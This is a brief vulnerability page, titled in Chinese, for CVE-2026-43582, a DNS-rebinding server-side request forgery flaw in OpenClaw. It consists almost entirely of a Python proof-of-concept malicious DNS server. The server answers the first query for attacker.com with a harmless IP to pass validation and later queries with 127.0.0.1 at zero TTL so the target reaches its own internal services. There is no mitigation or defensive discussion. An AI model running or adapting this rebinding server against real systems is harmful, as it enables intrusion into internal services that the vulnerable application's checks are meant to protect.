CVE-2026-43582 OpenClaw DNS重绑定SSRF漏洞

# Conceptual PoC for DNS Rebinding Attack # This script simulates a malicious DNS server used for the attack. import socket from dnslib import DNSRecord, DNSHeader, RR, A, QTYPE # Configuration MALICIOUS_DOMAIN = "attacker.com" SAFE_IP = "1.2.3.4" # IP used to pass initial validation INTERNAL_IP = "127.0.0.1" # Target internal IP (SSRF target) PORT = 53 query_count = 0 def start_dns_server(): global query_count sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", PORT)) print(f"[*] Malicious DNS server listening on port {PORT}...") while True: data, addr = sock.recvfrom(1024) try: request = DNSRecord.parse(data) query_count += 1 print(f"[*] Received query #{query_count} from {addr}") # DNS Rebinding Logic: # Reply with SAFE_IP for the first query (Validation Phase) # Reply with INTERNAL_IP for subsequent queries (Exploitation Phase) target_ip = SAFE_IP if query_count == 1 else INTERNAL_IP reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A(target_ip), ttl=0)) sock.sendto(reply.pack(), addr) print(f"[+] Replied with: {target_ip}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Note: Running this requires root privileges start_dns_server()